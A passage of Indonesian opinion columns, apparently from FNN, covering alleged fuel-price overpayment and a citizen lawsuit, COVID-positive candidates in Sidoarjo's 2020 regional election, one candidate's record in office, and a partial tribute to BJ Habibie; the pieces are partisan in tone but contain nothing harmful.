U$ 55, U$ 32, U$ 21, U$ 29, dan U$ 39 per barel. Sedangkan nilai tukar merata U$ terhadap rupiah untuk periode yang sama adalah Februari Rp 14.340, Maret dan April Rp 16.300, Mei Rp 14.800, dan Juni Rp 14.600 per dollar. Berdasarkan asumsi-asumsi harga minyak dunia dan nilai tukar di atas, serta merujuk nilai kemahalan atau kelebihan bayar April 2020 sebesar Rp 2.000 per liter, IRESS memperkirakan kelebihan bayar konsumen BBM per liter untuk periode Maret-Juni 2020 adalah Maret Rp sekitar 1.000, April Rp 2.000, Mei Rp 2.600, dan Juni Rp 1.600. Rata-rata konsumsi BBM per hari diasumsikan Maret 120 ribu kiloliter, April 100 ribu kiloliter, Mei 111 ribu kiloliter, dan Juni113 ribu kiloliter. Maka diperoleh perkiraan kelebihan bayar konsumen untuk semester satu 2020 Maret Rp 3,3 triliun, April Rp 6,4 triliun, Mei Rp 8,9 triliun dan Juni Rp 5,5 triliun. Sehingga total kelebihan bayar konsumen semester satu 2020 sekitar Rp 24,1 triliun. Kelebihan bayar konsumen BBM Rp 24,1 triliun di atas adalah subsidi yang dipaksakan oleh pemerintah untuk dibayar oleh rakyat. Padahal saat ini rakyat hidup susah akibat Covid-19. Rakyat justru lebih butuh subsidi negara dibanding mensubsidi perusahaan negara. Merujuk artikel IRESS 2 September 2020, pemerintah telah membebani Pertamina dengan kebijakan inkonstitusional dan melanggar aturan berupa 1) Signature Bonus Blok Rokan Rp 11,3 triliun, 2) Harga Crude Domestic yang dimark-up Rp 9,25 triliun, dan 3) beban bunga bond akibat kebijakan populis Pilpres 2019 Rp 3 tiriliun. Total beban keuangan sekitar Rp 23,55 triliun. Kebijakan di atas dapat dianggap kejahatan konstitusional bernuansa moral hazard yang secara tidak langsung merugikan rakyat Rp 23.55 triliun. Dampak langsung kebijakan inskosntitusional tersebut adalah rakyat gagal menikmati harga BBM mura. Karena harus mensubsidi Pertamina Rp 24,1 triliun melalui harga BBM yang tidak turun pada semester satu 2020. Karena itu wajar jika rakyat menggugat pemerintah demi tegaknya hukum dan keadilan. Gugatan di atas telah diwujudkan Koalisi Masyarakat Penggugat Harga Bahan Bakar Minyak (KOMPHAK) melalui Surat Somasi kepada Presiden Jokowi. Surat Somasi diterima Setneg sesuai bukti penerimaan No.20MM-YFRC5S 9 Juni 2020. Para anggota KOMPHAK adalah Dr. Marwan Batubara, Prof. Dr. Mukhtasor M.Eng., Dr. A. Yani SH, MH, Agung Mozin MSi, Drs. M.H. Taliwang MI.Kom., Dr. Taufan Maulamin, Djoko E. Abdurrahman, Agus M. Maksum SSi, Narliswandi, Bisman Bachtiar SH, MH, Muslim Arbi, A. Syebubakar, M.R. Kamidin, dan Darmayanto. Sampai batas waktu Somasi berkahir, Presiden tidak memberi tanggapan. Karena itu, melalui Tim Advokat, KOMPHAK mengajukan Gugatan Citizen Law Suit (CLS) kepada Pengadilan Negeri Jakarta Pusat pada 24 Juli 2020, dengan Nomor Perkara 405/Pdt.G/2020. Tim Advokat KOMPHAK adalah Wirawan Adnan, SH, MH, Dr. M. Luthfie Hakim, SH, MH, M. Mahendradatta, SH, MA, MH, A. Michdan, SH, Munarman, SH, Djudju Purwantoro SH, A. Leksono, SH, Ichwan Tony, SH., C.I.L, dan Yushernita, SH. Melalui Gugatan CLS, IRESS bersama KOMPHAK menuntut agar harga BBM segera diturunkan sesuai aturan dan formula yang berlaku. Kami juga menuntut agar subsidi paksa Rp 24,1 triliun berupa kelebihan bayar harga BBM yang telah dikeluarkan para konsumen BBM Pada semester satu 2020, segera dikembalikan untuk dapat dibagikan kepada rakyat miskin korban pandemi Covid-19. IRESS mengajak rakyat yang peduli hukum, kebenaran dan keadilan untuk mendukung dan mengadvokasi gugatan supaya berhasil, dan dikabulkannya tuntutan tersebut. Penulis adalah Direktur Eksekutif Indonesian Resources Studies (IRESS).

Positif Corona, Bacalon Pilkada Sidoarjo Bakal Berubah?

by Mochamad Toha Surabaya FNN - Kamis (10/09). Mantan Ketua Panwaslu (Bawaslu) Kota Surabaya Machmud Suhermono mengungkap, dalam dua-tiga hari ini kabar adanya 37 bakal calon (bacalon) kepala daerah, sungguh menyentak kesadaran kita, tentang bagaimana mereka memandang pandemi Virus Corona (Covid-19). “Baik bacalon gubernur dan wakil gubernur, bupati dan wakil bupati serta walikota dan wakil walikota,” ungkap Machmud Suhermono. Sebagai calon pemimpin, seharusnya mereka berada di garda terdepan, untuk memberikan pemahaman, virus ini sangat berbahaya dan belum ada tanda-tanda akan berakhir. Mereka menjadi contoh, bagaimana seharusnya bersikap, ketika seseorang dinyatakan positif. Pertanyaan besarnya, mengapa ke-37 bacalon itu masih datang ke KPU untuk melakukan pendaftaran? Bahkan, sebagian besar parpol maupun bapaslon dari jalur perseorangan juga mengerahkan massa besar-besaran, yang sangat berpotensi melanggar protokol kesehatan, seperti menjaga jarak, memakai masker dan menggunakan hand sanitizer sesering mungkin. Padahal ke-37 bacalon tersebut sudah mengetahui bahwa hasil tes swabnya positif, sebelum berangkat ramai-ramai ke KPU. Sebab, sebelum mendaftar, bacalon wajib melampirkan hasil tes swab. Mereka juga telah mengetahui jika akan kontak dengan banyak orang, mulai dari tim sukses, partai pengusung, partai pendukung, tim hore, simpatisan dan masyarakat yang kebetulan berada di jalan yang dilalui. Serta, tentunya penyelenggara baik pegawai dan komisioner KPU maupun Bawaslu, kawan-kawan media yang meliput, tim keamanan dari Kepolisian dan TNI. Mereka juga sadar bahwa kalau kontak dengan orang lain, otomatis statusnya menjadi carier. Ratusan atau bahkan ribuan orang rawan tertular, ini akibat sikap Bacalon yang sembrono tersebut. Peraturan KPU Nomer 6 Tahun 2020, Tentang Pelaksanaan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan/atau Walikota dan Walikota Serentak Lanjutan telah disebutkan ketentuannya. Dalam Kondisi Bencana Non Alam Corona Virus Disease 2019 (Covid-19), tegas disebutkan, bahwa setiap pelaksanaan Tahapan Pilkada tersebut harus melaksanakan protokol kesehatan Pencegahan Covid-19. Artinya, meskipun ke-37 Bacalon tidak hadir ketika pendaftaran, status pencalonan tetap Sah, sepanjang syarat dan persyaratan lainnya memenuhi syarat (MS). Lalu pertanyaannya adalah mengapa mereka memaksa hadir? Padahal bila mereka mengaku sejak awal, dirinya positif Covid-19, kemudian menggelar jumpa pers, dan menyatakan tidak akan hadir di KPU, dengan alasan menjaga keselamatan rakyat, justru akan memunculkan simpati masyarakat. Popularitasnya berpotensi naik. Statement tersebut yang akan diingat rakyat hingga pencoblosan 9 Desember 2020 nanti. Tentunya rakyat berharap, dalam tahapan berikutnya, baik saat penetapan paslon, penentuan nomor urut dan tentunya kampanye, dibutuhkan kejujuran dari paslon, untuk memberi tahu status kesehatannya, terutama terkait dengan Covid-19. Petugas penyelenggara dan pengawas, KPU dan Bawaslu diharapkan lebih ketat dan tegas menerapkan protokol kesehatan. Keselamatan rakyat adalah yang utama. Bila semua itu sudah dilakukan, Insya Allah Pilkada lanjutan tidak akan tertunda lagi. Dan sekarang, kita tunggu bersama, siapa sebenarnya 37 bacalon yang positif tersebut. Kita berharap mereka mengaku sendiri dan menyatakan ke publik. Sebab, kabarnya di Jawa Timur juga ada yang terpapar Covid-19. Paslon Corona Ketua KPU Sidoarjo Mukhamad Iskak mengakatan, hasil pemeriksaan kesehatan terhadap seluruh pasangan Bacalon kepala daerah Sidoarjo, di RSUD dr Soetomo Surabaya pada Senin malam (7/9/2020) sudah keluar. Dari tiga pasangan bacalon yang turut pemeriksaan kesehatan diantaranya swab, satu bacalon wakil bupati dinyatakan positif covid-19. Sayangnya Iskak tidak mengungkap siapa bacalon wakil bupati tersebut. “Hasil swab yang dikeluarkan pihak dr. Soetomo, memang satu Cawabup dinyatakan positif covid-19,” ujar Iskak tanpa menyebut siapa nama Bacawabup itu, Selasa (8/9/2020). Menurut Iskak, karena sudah dinyatakan positif, maka baik bacawabup maupun cabupnya harus mengisolasi diri selama 14 hari. Meski hari itu masih tahapan pemeriksaan kesehatan, “Namun tetap satu paslon ini tidak boleh ikut pemeriksaan kesehatan tahap 2,” tegas Iskak. Dari informasi yang beredar, bacalon yang dinyatakan positif Covid-19 ini, mendaftarkan diri pada Jum’at (4/9/2020). Bahkan, saat mendaftar hari Jum’at itu, hasil swab dengan amplop tersegel itu juga sudah berisi hasil positif. “Kita sama-sama tidak tahu, karena hasil swab diberikan bersamaan dengan berkas lain dan amplop tertutup,” ujar Iskak lagi. Jika merunut ke belakang, sangat mudah diketaui siapa bacalon yang terpapar Covid-19 itu. Bacalon pertama yang mendaftar adalah Bambang Haryo Soekartono-Taufiqulbar. Paslon ini diusung 7 partai politik, yakni Gerindra, PKS, Golkar, PPP, dan Demokrat dengan jumlah 18 kursi di DPRD Sidoarjo. Bacalon kedua yang mendaftar adalah Kelana Aprilianto-Dwi Astutik. Mereka diusung oleh PDIP dan PAN dengan jumlah 14 kursi. Selain itu, Kelana-Dwi juga didukung oleh 7 Parpol nonparlemen, yakni Hanura, Berkarya, Perindo, PSI, PBB, Gelora Indonesia, dan PKPI. Kedua pasangan bacalon tersebut mendaftar pada Jum’at (4/9/2020). Ahmad Muhdlor Ali-Subandi sebagai pasangan bacalon Bupati-Wakil Bupati Sidoarjo. Gus Muhdlor-Subandi adalah pasangan yang terakhir mendaftar di KPU Sidoarjo, Minggu (6/9/2020). Melansir Detik.com, Minggu (06 Sep 2020 21:55 WIB), Ketua KPU Sidoarjo Mukhamad Iskak, mengatakan bahwa sampai di hari terakhir masa pendaftaran, sudah ada tiga paslon yang secara resmi sudah mendaftarkan diri ke KPU. “Sampai saat ini sudah tiga paslon yang secara resmi mendaftarkan ke KPU Sidoarjo. Yang terakhir ini paslon Ahmad Muhdlor Ali-Subandi dari PKB,” kata Iskak kepada wartawan di kantor KPU Jalan Raya Cengkareng Sidoarjo, Minggu (6/9/2020). Salah satu dari enam orang bacalon bupati dan wakil bupati yang akan berlaga pada Pilkada Sidoarjo 2020 dipastikan positif terinfeksi Covid-19 berdasarkan hasil swab yang dilakukan di RSUD dr. Soetomo Surabaya. Informasi tersebut disampaikan Ketua KPU Sidoarjo Mukhamad Iskak saat memberikan keterangan pers di kantornya, Selasa (08/09/2020). Ia menolak menyebutkan nama paslon yang dimaksudnya tadi namun menyebutkan beberapa clue. Di antaranya adalah, calon tersebut berposisi sebagai wakil bupati. Clue kedua, calon tersebut mendaftar pada Jumat (04/09/2020). Di mana pada hari itu ada dua paslon yang datang, yakni Bambang Haryo Sukartono -Taufiqulbar serta Kelana Aprilinto-Dwi Astutik. Dan yang terakhir, paslon yang mengidap virus corona itu dipastikan tidak akan mengikuti tes kesehatan yang dilakukan di RSUD dr. Soetomo Surabaya. “Yang bersangkutan kami minta istirahat dulu, isolasi mandiri selama 10-12 hari,” katanya lagi. Yang menarik, Iskak menyebutkan bahwa calon wakil bupati tersebut sudah terinfeksi virus mematikan tersebut pada saat datang bersama seluruh timnya untuk mendaftar berdasarkan hasil tes swab mandiri yang ia lakukan sebelumnya. “Jadi pada saat itu yang bersangkutan memang sudah terinfeksi. Namun ia mengaku belum tahu hal tersebut karena surat hasil uji lab itu datang belakangan, sehingga tidak sempat membacanya,” imbuh Iskak. Padahal saat itu kantor KPU Sidoarjo dipenuhi ratusan orang, baik dari unsur staf internal, aparat kepolisian dan Satpol PP, tim pemenangan parpol,wartawan dan unsur masyarakat lainnya yang terlibat dalam kegiatan tersebut. Iskak sendiri berharap kejadian ini tidak membuat KPU Sidoarjo menjadi klaster baru dalam penularan virus corona di kota delta. Untuk itu ia berjanji akan segera berkoordinasi dengan Gugus Tugas Covid-19 Sidoarjo. “Kalau memang perlu, kita siap koq di-swab, baik komisioner maupun semua staf sekretariat KPU,” pungkasnya. Yang jelas, Bacalon Bambang Haryo Sukartono-Taufiqulbar menjalani tes kesehatan di Surabaya pada Selasa, 8 September 2020. Jadi, siapa Bacawabup yang terpapar Covid-19 itu? “Bukan pasangan Masa Bambang,” tegas seorang Ustadz pendukung Bambang Haryo Sukartono-Taufiqulbar. Jika benar yang terpapar itu Dwi Astutik, bukan tidak mungkin, Dwi bakal digantikan kader parpol pengusung lainnya seperti Agus Prastowo dari PAN. Penulis adalah Wartawan Senior FNN.co.id

Rekam Jejak Bambang Haryo: Ternyata Sudah Berbuat untuk Sidoarjo!

by Mochamad Toha Surabaya FNN - Kamis (10/09). Akhirnya pilihan PKB dalam Pilbup Sidoarjo 2020 jatuh pada Ahmad Muhdlor Ali-Subandi sebagai pasangan bakal calon Bupati-Wakil Bupati Sidoarjo. Gus Muhdlor-Subandi adalah pasangan yang terakhir mendaftar di KPUD Sidoarjo. Paslon pertama yang mendaftar adalah Bambang Haryo Soekartono-Taufiqulbar. Paslon ini diusung 7 partai politik, yakni Gerindra, PKS, Golkar, PPP, dan Demokrat dengan jumlah 18 kursi di DPRD Sidoarjo. Paslon kedua yang mendaftar adalah Kelana Aprilianto-Dwi Astutik. Mereka diusung oleh PDIP dan PAN dengan jumlah 14 kursi. Selain itu, Kelana-Dwi juga didukung oleh 7 Parpol nonparlemen, yakni Hanura, Berkarya, Perindo, PSI, PBB, Gelora Indonesia, dan PKPI. Melansir Detik.com, Minggu (06 Sep 2020 21:55 WIB), Ketua KPUD Sidoarjo Mukhamad Iskak, mengatakan bahwa sampai di hari terakhir masa pendaftaran, sudah ada tiga paslon yang secara resmi sudah mendaftarkan diri ke KPU. “Sampai saat ini sudah tiga paslon yang secara resmi mendaftarkan ke KPU Sidoarjo. Yang terakhir ini paslon Ahmad Muhdlor Ali-Subandi dari PKB,” kata Iskak kepada wartawan di kantor KPU Jalan Raya Cengkareng Sidoarjo, Minggu (6/9/2020). Ahmad Muhdlor Ali adalah putra KH Ali Masyhuri alias Gus Ali yang lahir di Sidoarjo pada 11 Februari 1991. Akademisi pendidikan Sidoarjo yang akrab dipanggil Gus Muhdlor itu kini menjabat Direktur Pendidikan Yayasan Bumi Shalawat Progresif (2012 – sekarang). Selain itu, ia menjabat sebagai Sekretaris GP Anshor Sidoarjo sejak tahun 2015 – sekarang. Dari jejak digital sulit ditemukan track record aktivitasnya. Bacabup Kelana Aprilianto agak berbeda. Jejak digital mudah ditemukan track record-nya. Kelana dikenal sebagai seorang pengusaha asal Pasuruan. Pria kelahiran April 1971 ini memang dikenal sebagai salah satu pebisnis sukses di Jatim. Melalui Koperasi Bangun Jaya, usahanya terus berkembang. Mengutip TimesIndonesia.co.id, Selasa (28 Januari 2020 - 16:29 | 164.83k), bisnisnya mulai dari transportasi (PO Bus Pandawa 87), bisnis properti, perhotelan, agribisnis, peternakan, perkebunan, dan ekspor-impor di bawah bendera PT Bangun Jaya Group. Ia ingin berkontribusi dalam mendorong roda perekonomian daerah, khususnya di kawasan Pasuruan. Usaha yang dikembangkannya menyerap banyak peluang lapangan kerja bagi masyarakat sekitar. Ada ribuan orang yang bekerja di bawah bendera perusahaannya. Mayoritas mereka berasal kaum pinggiran dan pengangguran. Kelana memang selalu tertarik pada bidang usaha yang berbasis ekonomi kerakyatan. Kini, Kelana berencana membangun sebuah peternakan modern dan memadukannya menjadi Wisata Edukasi. Lahan peternakan mulai disiapkan di Lebakrejo. Berbagai persiapan sudah dilakukannya, termasuk infrastruktur pendukung dan SDM dari masyarakat sekitar. Pengalamannya di Pasuruan itulah yang oleh Kelana bakal dikembangkan di Sidoarjo nanti jika terpilih menjadi Bupati Sidoarjo. Figur Dwi Astutik yang pengurus Muslimat NU Jawa Timur itu akan sangat membantu perolehan suara nanti. Bagaimana dengan paslon Bambang Haryo Soekartono-Taufiqulbar? Sidoarjo harus berubah. Kota Udang ini butuh pemimpin yang berani menjemput perubahan. Menyaksikan perkembangan tetangga daerah, seperti Surabaya, Gresik, Mojokerto, Pasuruan, kondisi Sidoarjo paling ‘melas’. Padahal kekayaan daerah ini tak kalah moncer. “Dalam Pilkada kali ini sangat menentukan masa depan Sidoarjo. Selama ini, pembangunan di Sidoarjo sangat minim. Misal, infrastruktur jalan, masih kacau balau. Padahal ini sangat menentukan roda perekonomian,” ungka HM Nur Hadi ST. Mengutip Duta.co, Sabtu (5/9/2020), pangusaha otomotif yang dikenal sebagai tokoh NU di Kecamatan Taman, Sidoarjo, itu menjelaskan, Sidoarjo juga tidak boleh lepas dari karakter Islam moderat, Islam toleran. Dan itu lazimnya kader nahdliyin. “Karena daerah ini juga sering menjadi barometer nasional, sering menjadi pecontohan. Dan, kader nahdliyin itu bisa dari partai apa pun, karena NU sudah kembali ke khittah 1926,” tegas Ketua Umum Pergerakan Penganut Khitthah Nahdliyin (PPKN) ini. Hebatnya, lanjut Cak Nur, panggilan akrabnya, Pilkada Sidoarjo yang akan berlangsung Rabu Wage, 9 Desember 2020 nanti, juga bertabur Bintang Sembilan. Hampir semua pasangan ada kader NU-nya. Itu yang membuat nahdliyin (khususnya) dan, warga Sidoarjo (umumnya) tidak perlu repot memilih. “Tinggal adu gagasan, adu program, siapa yang mampu mengubah Sidoarjo mejadi lebih baik, dia akan terpilih. Itu kuncinya,” tambahnya. Dan kebijakan Bambang Haryo Soekartono (BHS) menggandeng HM Taufiqulbar atau Cak Taufiq sebagai Bacawabup Sidoarjo, mendapat apresiasi tinggi dari nahdliyin. Setidaknya, itu terlihat saat silatuhrahim ke pengurus PCNU Sidoarjo, Kamis (6/8/2020) lalu. Cak Taufiq yang datang bersama rombongan pengasuh Ponpes Al Khoziny Buduran, H Ali Mudjib (Gus Ali), diterima langsung jajaran pengurus teras PCNU Sidoarjo. Tampak Ketua PCNU Sidoarjo KH Maskun, sekretaris PCNU H Suwarno, H Zainal Abidin Wk ketua PCNU, H Kirom serta beberapa pengurus PCNU yang lain. Dalam pertemuan di Kantor PCNU itu, banyak wejangan yang disampaikan Ketua PCNU. Salah satunya, KH Maskun yang berharap siapapun kader NU yang masuk di dunia politik, haruslah mengedepankan akhlaqul karimah. “Berpolitik santun dengan akhlaqul karimah harus tetap dipegang kader NU yang ikut dalam Pilkada Sidoarjo,” jelas KH Maskun. Bagi nahdliyin, Cak Taufiq bukan orang lain. Restu untuknya juga datang dari sesepuh atau tokoh tertua NU Sidoarjo seperti KH Maskur. “Saya mendukung anak saya Taufiq, untuk maju sebagai calon kepala daerah Sidoarjo dan berharap bisa memajukan dan memakmurkan Sidoarjo,” ujar KH Maskur yang juga pendiri RSI Siti Hajar Sidoarjo. Menurut Cak Taufiq, tujuan utama silatuhrahim ini adalah meminta izin dan doa restu dari NU untuk menghadapi Pilkada Sidoarjo 2020. “Alhamdulillah, para kiai menerima dengan baik. Mendoakan secara khusus agar niat baik untuk memperbaiki Sidoarjo terkabul, mendapat ridho Allah SWT,” ujarnya. Akan halnya Bacabup Bambang Haryo Soekartono yang akrab dipanggil BHS, rekam jejak aktivitasnya sangat banyak bila dibanding Bacabup lainnya. Pria kelahiran Balikpapan, 16 Januari 1963, ini jabatan terakhirnya adalah Anggota Komisi V DPR-RI dan MPR-RI (2014-2019). Sebelumnya (2014-2018), Anggota Komisi VI DPR-RI Fraksi Gerindra. BHS adalah alumni Fakultas Teknik Perkapalan ITS, Surabaya. Setidaknya, sudah tujuh jabatan dalam kariernya yang sudah pernah dipegangnya. Pada 2007-2014, BHS merangkap jabatan sebagai Dirut PT Dharma Lautan Utama dan PT Adiluhung Saranasegara Indonesia. Realisasi Sidoarjo Sebagai anggota DPR-RI (2014-2019), ternyata BHS sudah banyak berperan untuk Sidoarjo. Simak saja 10 aktivitasnya selama itu. Pertama, Penyaluran program bedah rumah ke 460 rumah wilayah Sidoarjo; Kedua, Penyaluran 600 CSR BUMN; Ketiga, Realisasi program pengembangan infrastruktur sosial ekonomi wilayah (PISEW) ke 5 titik daerah Sidoarjo; Keempat, Pengembangan pertanian wilayah Sidoarjo dengan menyalurkan program P3-TGAI ke 19 titik daerah Sidoarjo; Kelima, Inisiasi pembangunan pasar Wonoayu, rehabilitasi pasar Sukodono dan mendorong realisasi renovasi pasar Porong Sidoarjo; Keenam, Penyaluran program BUMDES sebesar Rp 50 juta ke 30 Desa di Sidoarjo dan Dana Desa Wisata sebesar Rp 150 juta kedua; Ketujuh, Pengembangan sektor pertanian dengan penyaluran 40 pompa ukuran 6 dim dan 20 hand traktor dibeberapa wilayah Sidoarjo; Kedelapan, Mendorong bantuan untuk korban bencana puting beliung di Desa Tambakrejo Waru dari BUMN maupun BNPB; Kesembilan, Inisiasi pembangunan Overpass Toll di Keloposepuluh dan Wage Sidoarjo dan di lanjutkan di Sepande Sidoarjo; Kesepuluh, Pendidikan Karakter dengan melalukan Sosialisasi 4 Pilar RI di 25 titik Wilayah Sidoarjo. Itulah rekam jejak aktivitas BHS di Sidoarjo yang sudah dilakukan selama menjabat sebagai anggota DPR-RI. Bagaimana dengan Bacabup lainnya? *** Penulis wartawan senior FNN.co.id

BJ. Habibie & Kesinambungan Industri Dirgantara

by Ricky Rachmadi SH. MH. Jakarta FNN – Kamis (10/09). Tulisan ini dipersiapkan guna mengenang satu tahun wafatnya almarhum Prof. Dr. Ing. BJ. Habibie yang telah pergi meninggalkan bangsa ini kurang lebih setahun lalu. Tapatnya pada 11 September 2019. Bangsa ini tentu sangat berduka atas kepergian alm akibat jasa-jasanya yang besar dan luar biasa besar. Semasa hidupnya Habibie telah meletakkan kiprah industri dirgantara di tanah air. Utamanya dalam membangun serta meletakkan mimpi bangsa ini untuk memiliki pesawat sendiri. Pesawat yang diciptakan sebagai karya putra-putri bangsa ini dengan perencanaan teknologi mutakhir di bawah cita-cita, kemampuan, dan kepemimpinan alm yang tergolong gigih untuk mewujudkannya. Dalam mengenang almarhum Habibie, menurut UU No. 20 Th 2009 bahwa Gelar, Tanda Jasa, dan Tanda Kehormatan diberikan dengan tujuan untuk menghargai jasa setiap orang, kesatuan, institusi pemerintah, atau organisasi yang telah mendarmabaktikan diri termasuk berjasa besar dalam berbagai bidang kehidupan berbanga dan bernegara. Tanda Kehormatan dan Tanda Jasa tersebut diberikan untuk menumbuhkan semangat kepahlawanan, kepatriotan, dan kejuangan seseorang. Diberikan sebagai bentuk penghargaan untuk setiap orang untuk mengembangkan kemajuan dan kejayaan bangsa atau negara. Menurut Pasal 1 UU tersebut, bintang adalah tanda kehormatan tertinggi. Sementara dalam Pasal 25, disebutkan syarat umum yang harus dipenuhi bila orang ingin mendapatkannya, maka orang yang bersangkutan haruslah Warga Negara Indonesia (WNI) atau seseorang yang berjuang di wilayah NKRI. Orang tersebut memiliki integritas moral dan keteladanan. Berjasa terhadap bangsa dan negara, dan berkelakuan baik. Setia dan tidak mengkhianati bangsa dan negara. Juga tidak pernah dipenjara berdasar putusan pengadilan yang telah memperoleh kekuatan hukum tetap, karena melakukan tindak pidana yang diancam dengan pidana penjara singkat lima tahun. Berkaitan dengan UU tentang Gelar, Tanda Jasa, dan Tanda Kehormatan itu, maka Almarhum BJ. Habibie adalah orang yang mendapatkan semua tanda kehormatan bintang (sipil maupun militer) kelas tertinggi. Habibie mendapatkan Bintang Republik Indonesia Adipurna, Bintang Mahaputera Adipurna, Bintang Mahaputra Adipradana, Bintang Jasa Utama, Bintang Budaya Parama Dharma, Bintang Bhayangkara Utama, Bintang Yudha Dharma Utama, Bintang Kartika Eka Paksi Utama, Bintang Jalasena Utama, dan Bintang Swa Bhuwana Paksa Utama. Bintang-bintang di atas diberikan negara dalam kiprah almarhum di Indonesia. Namun demikian, dunia internasional pun mengakui kontribusi Presiden Indonesia ketiga ini. Dalam kapasitasnya sebagai pakar pesawat, negara-negara maju yang mempunyai perhatian sangat besar pada dunia dirgantara seperti Amerika, Prancis, Inggris, Jerman untuk mendudukkan Habibie. Negara-negara tersebut memberikan anggota Kehormatan kepada BJ Habibie di berbagai komunitas akademik dan profesional Aeuronautika. Bahkan Jepang dan Malaysia mencantumkannya sebagai anggota kehormatan di Persatuan Insinyur Malaysia dan Japanese Academy of Engineering. Penghargaan nasional dan internasional itu hanyalah bagian dari penghargaan formal dan penghargaan yang bisa diungkapkan. Selain itu banyak penghargaan yang tidak bisa diungkap di sini. Habibie adalah figur yang mendapat penghargaan di hampir benak setiap orang tua di Indonesia. Bagi banyak orang tua di Indonesia, nama Habibie selalu berkorelasi erat dengan kecerdasan. Bagi banyak orang tua di Indonesia, penyebutan nama Habibie bukan hanya sekadar penyebutan sebuah nama, tapi juga doa. Mereka selalu berharap bahwa anak-anaknya kelak akan seperti Habibie yang pintar dan sukses. Karena itu tidak heran banyak anak yang bermimpi ingin menjadi hebat dan pintar dengan mengatakan mereka ingin seperti Habibie. Riwayat Habibie pun memang berkaitan erat dengan kepintaran dan kecerdasan. Gelar doktor aeronatika di RWTH Aachen Jerman Barat, diraih dengan predikat Summa Cum Laude. Habibie adalah Menteri Riset dan Teknologi terlama di negara ini. Selama 20 tahun. Tidak terlupakan juga julukannya sebagai Mr Crack, setelah dunia Aeronatika buntu menghadapi problem retakan pesawat yang mengancam keselamatan penerbangan. Maka Habibie datang dengan kemampuan rumusan menghitung rambatan. Rumusan Habibie itu yang sangat detail tentang “Crack”, yaitu penghitungan sampai tingkat atom. Habibie bukan hanya bisa memprediksi pergerakan retakan pesawat, dan menghindarkannya dari kecelakaan penerbangan. Tetapi juga bisa merumuskan langkah-langkah untuk memperpanjang umur pesawat tersebut. Namun dibalik sinonimnya nama besar Habibie dengan kecerdasan, dan telah menginspirasi banyak orang tua di Indonesia, justru disini juga letak permasalahannya. Banyak orang dan pengambil kebijakan pemerintah seolah menganggap segala hal yang diraih Habibie murni berkaitan dengan kecerdasan. Mereka lupa melihat bahwa Habibie muncul dan menjadi ikon pengembangan Iptek di Indonesia itu berkaitan dengan adanya komitmen, dedikasi, dan political will para pengambil kebijakan negara. Bila kita kembali ke masa-masa awal pengembangan dunia dirgantara di Indonesia, maka kita akan melihat Habibie sebagai figur yang tidak diperhatikan. Bila titik tolak dunia dirgantara Indonesia ditandai dengan peristiwa gotong royongnya masyarakat Aceh untuk membeli pesawat. Masyarakat Aceh mengumpulkan emas untuk membeli Dakota RI-001 Seulawah pada 16 Juni 1948. Maka pada tahun yang sama orang yang dikirim Soekarno ke Far Eastern Air Transport Incorporated (FEATI) Filipina untuk mempelajari dunia dirgantara adalah Nurtanio Pringgoadisuryo. Tujuh tahun berikutnya, 1955, ketika Presiden Soekarno membiayai banyak anak bangsa untuk bersekolah ke luar negeri, Habibie adalah rombongan kedua yang khusus di kirim ke Rhein Westfalen Aachen Technische Hochschule untuk belajar di jurusan Teknik Penerbangan dengan spesialisasi konstruksi pesawat terbang. Namun, Habibie belajar ke Jerman atas biaya sendiri. Bukan melalui beasiswa penuh dari pemerintah sebagaimana pelajar Indonesia lainnya. Karenanya Habibie mesti menyandingkan kecerdasan yang dimilikinya dengan kerja keras untuk membiayai studinya. Karena kecerdasan dan kerja keras inilah Habibie sanggup meraih predikat Summa Cum Laude dengan nilai rata-rata 9,5 dari Aachen. Begitu juga ketika memutuskan kembali ke Indonesia. Habibie kembali ke Indonesia atas permintaan mantan Presiden Soeharto pada tahun 1973. Sebelum lima tahun kemudian didudukkan menjadi Menristek. Sementara pada saat bersamaan, Habibie di Jerman sedang menduduki dua jabatan prestisius sekaligus, Director of Applied Technology dan Vice Presiden di perusahaan kedirgantaraa Messerschmitt-Bolkow-Blohm (MBB) Jerman Barat. Posisi ini adalah capaian tertinggi yang pernah diduduki orang asing di perusahaan tersebut. Jadi bila kita review saat penarikan Habibie dari Jerman oleh Presiden Soeharto, kita akan menemukan situasi yang kontras antara Habibie dengan Jerman dan Habibie dengan Indonesianya. Masa penarikan Habibie dari Jerman adalah masa ketika Habibie mempunyai masa depan karier yang cerah di negara maju. Sedangkan saat bersamaan, Indonesia pada tahun 1973 adalah masa-masa awal Orde Baru yang jalannya masih tertatih-tatih. Indonesia masa itu masih berjibaku dengan akhir Orde Lama. Orde yang meninggalkan krisis ekonomi dan kemelut politik akut. Sebaliknya, justru pada masa-masa keemasan di Jerman dan masa-masa Indonesia yang tidak menentu lah Habibie kembali ke Indonesia. Tindakan seperti ini hanya bisa dilakukan oleh orang cerdas yang juga memiliki dedikasi, komitmen, dan kemauan untuk bekerja keras. Akhir-akhir ini kita ingat problem yang dihadapi Lembaga Pengembangan Dana Pendidikan (LPDP). Sebuah lembaga yang dibentuk masa Presiden Soesilo Bambang Yudhoyono. Tuganya mengumpulkan dan mengelola dana untuk mengirim ribuan siswa terbaik Indonesia belajar di Luar Negeri. LPDP menghadapi problem pelik banyaknya pelajar yang sudah diberi beasiswa belajar di Luar Negeri. Namun pada akhirnya tidak ingin kembali lagi ke Indonesia. Setelah mendapatkan pendidikan terbaik yang dibiayai uang masyarakat (negara), mereka memilih meneruskan kariernya di luar negeri. Karena mereka melihat masa depan yang lebih cerah ketimbang kembali ke Indonesia. Lantaran melihat Habibie sebagai figur yang pintar, kita juga abai melihat bahwa kemunculan figur seperti Habibie berkaitan dengan political will pemerintah dalam memajukan industri dirgantara nasional. Sekaligus memanfaatkan potensi terbaik anak bangsa yang memang unggul. Almarhum Presiden Soeharto tidak hanya memanggil Habibie untuk pulang ke Indonesia. Tetapi diikuti dengan memberikan posisi yang tepat dan signifikan untuk figur sebesar Habibie. Namun saat ini, kita menghadapi problem pelik political will pemerintah dalam memanfaatkan potensi terbaik anak bangsa. Banyak anak bangsa terbaik yang enggan kembali ke Indonesia. Bukan karena tidak ingin mengabdi ke bangsa dan negerinya. Tetapi mereka tidak mendapatkan kejelasan peran dan posisi, apa yang akan mereka lakukan bila harus kembali ke Indonesia? Bagaimanapun, tempat terbaik mereka adalah di luar negeri. Karena disanalah mereka mempunyai lahan untuk mengeksplorasi bakat yang mereka miliki. Pada titik inilah kemudian kita melihat bahwa harapan kemunculan “The New Habibie” bukan pada ada dan tidaknya anak bangsa yang sejenius seperti Habibie. 